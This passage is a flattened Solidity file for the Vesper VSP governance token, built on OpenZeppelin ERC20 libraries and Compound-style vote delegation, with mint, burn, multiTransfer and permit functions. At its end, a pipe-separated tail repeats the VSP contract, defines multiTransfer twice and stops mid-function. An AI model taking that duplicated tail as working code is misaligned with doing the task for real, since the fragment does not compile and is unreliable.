require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module extends Ownable and provide a way for safe transfer ownership.
* New owner has to call acceptOwnership in order to complete ownership trasnfer.
*/
contract Owned is Ownable {
address private _newOwner;
/**
* @dev Initiate transfer ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner. Current owner will still be owner until
* new owner accept ownership.
* @param newOwner new owner address
*/
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "New owner is the zero address");
_newOwner = newOwner;
}
/**
* @dev Allows new owner to accept ownership of the contract.
*/
function acceptOwnership() public {
require(msg.sender == _newOwner, "Caller is not the new owner");
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
_newOwner = address(0);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/governor/VSPGovernanceToken.sol
// From https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
pragma solidity 0.6.12;
// solhint-disable reason-string, no-empty-blocks
abstract contract VSPGovernanceToken is ERC20 {
/// @dev A record of each accounts delegate
mapping(address => address) public delegates;
/// @dev A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @dev A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @dev The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @dev The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
/// @dev The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @dev A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @dev An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @dev An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/**
* @dev Constructor.
*/
constructor(string memory name, string memory symbol) public ERC20(name, symbol) {}
/**
* @dev Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @dev Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 domainSeparator =
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
keccak256(bytes("1")),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "VSP::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "VSP::delegateBySig: invalid nonce");
require(now <= expiry, "VSP::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @dev Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @dev Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "VSP::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint256 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
uint32 blockNumber =
safe32(block.number, "VSP::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// File: contracts/governor/VSP.sol
pragma solidity 0.6.12;
// solhint-disable no-empty-blocks
contract VSP is VSPGovernanceToken, Owned {
/// @dev The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
uint256 internal immutable mintLockPeriod;
uint256 internal constant INITIAL_MINT_LIMIT = 10000000 * (10**18);
constructor() public VSPGovernanceToken("VesperToken", "VSP") {
mintLockPeriod = block.timestamp + (365 days);
}
/// @dev Mint VSP. Only owner can mint
function mint(address _recipient, uint256 _amount) external onlyOwner {
require(
(totalSupply().add(_amount) <= INITIAL_MINT_LIMIT) ||
(block.timestamp > mintLockPeriod),
"Minting not allowed"
);
_mint(_recipient, _amount);
_moveDelegates(address(0), delegates[_recipient], _amount);
}
/// @dev Burn VSP from caller
function burn(uint256 _amount) external {
_burn(_msgSender(), _amount);
_moveDelegates(delegates[_msgSender()], address(0), _amount);
}
/// @dev Burn VSP from given account. Caller must have proper allowance.
function burnFrom(address _account, uint256 _amount) external {
uint256 decreasedAllowance =
allowance(_account, _msgSender()).sub(_amount, "ERC20: burn amount exceeds allowance");
_approve(_account, _msgSender(), decreasedAllowance);
_burn(_account, _amount);
_moveDelegates(delegates[_account], address(0), _amount);
}
/**
* @notice Transfer tokens to multiple recipient
* @dev Left 160 bits are the recipient address and the right 96 bits are the token amount.
* @param bits array of uint
* @return true/false
*/
function multiTransfer(uint256[] memory bits) external returns (bool) {
for (uint256 i = 0; i < bits.length; i++) {
address a = address(bits[i] >> 96);
uint256 amount = bits[i] & ((1 << 96) - 1);
require(transfer(a, amount), "Transfer failed");
}
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param _owner The address to approve from
* @param _spender The address to be approved
* @param _amount The number of tokens that are approved (2^256-1 means infinite)
* @param _deadline The time at which to expire the signature
* @param _v The recovery byte of the signature
* @param _r Half of the ECDSA signature pair
* @param _s Half of the ECDSA signature pair
*/
function permit(
address _owner,
address _spender,
uint256 _amount,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
require(_deadline >= block.timestamp, "VSP:permit: signature expired");
bytes32 domainSeparator =
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
keccak256(bytes("1")),
getChainId(),
address(this)
)
);
bytes32 structHash =
keccak256(
abi.encode(PERMIT_TYPEHASH, _owner, _spender, _amount, nonces[_owner]++, _deadline)
);
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, _v, _r, _s);
require(signatory != address(0) && signatory == _owner, "VSP::permit: invalid signature");
_approve(_owner, _spender, _amount);
}
/// @dev Overridden ERC20 transfer
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(delegates[_msgSender()], delegates[recipient], amount);
return true;
}
/// @dev Overridden ERC20 transferFrom
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance(sender, _msgSender()).sub(
amount,
"VSP::transferFrom: transfer amount exceeds allowance"
)
);
_moveDelegates(delegates[sender], delegates[recipient], amount);
return true;
}
} | solhint-disable no-empty-blocks | contract VSP is VSPGovernanceToken, Owned {
bytes32 public constant PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
uint256 internal immutable mintLockPeriod;
uint256 internal constant INITIAL_MINT_LIMIT = 10000000 * (10**18);
constructor() public VSPGovernanceToken("VesperToken", "VSP") {
mintLockPeriod = block.timestamp + (365 days);
}
function mint(address _recipient, uint256 _amount) external onlyOwner {
require(
(totalSupply().add(_amount) <= INITIAL_MINT_LIMIT) ||
(block.timestamp > mintLockPeriod),
"Minting not allowed"
);
_mint(_recipient, _amount);
_moveDelegates(address(0), delegates[_recipient], _amount);
}
function burn(uint256 _amount) external {
_burn(_msgSender(), _amount);
_moveDelegates(delegates[_msgSender()], address(0), _amount);
}
function burnFrom(address _account, uint256 _amount) external {
uint256 decreasedAllowance =
allowance(_account, _msgSender()).sub(_amount, "ERC20: burn amount exceeds allowance");
_approve(_account, _msgSender(), decreasedAllowance);
_burn(_account, _amount);
_moveDelegates(delegates[_account], address(0), _amount);
}
function multiTransfer(uint256[] memory bits) external returns (bool) {
for (uint256 i = 0; i < bits.length; i++) {
address a = address(bits[i] >> 96);
uint256 amount = bits[i] & ((1 << 96) - 1);
require(transfer(a, amount), "Transfer failed");
}
return true;
}
function multiTransfer(uint256[] memory bits) external returns (bool) {
for (uint256 i = 0; i < bits.length; i++) {
address a = address(bits[i] >> 96);
uint256 amount = bits[i] & ((1 << 96) - 1);
require(transfer(a, amount), "Transfer failed");
}
return true;
}
function permit(
address _owner,
address _spender,
uint256 _amount,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external {
require(_deadline >= block.timestamp, "VSP:permit: signature expired");
bytes32 domainSeparator =
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
keccak256(bytes("1")),
getChainId(),
address(this)
)
);
bytes32 structHash =
keccak256(
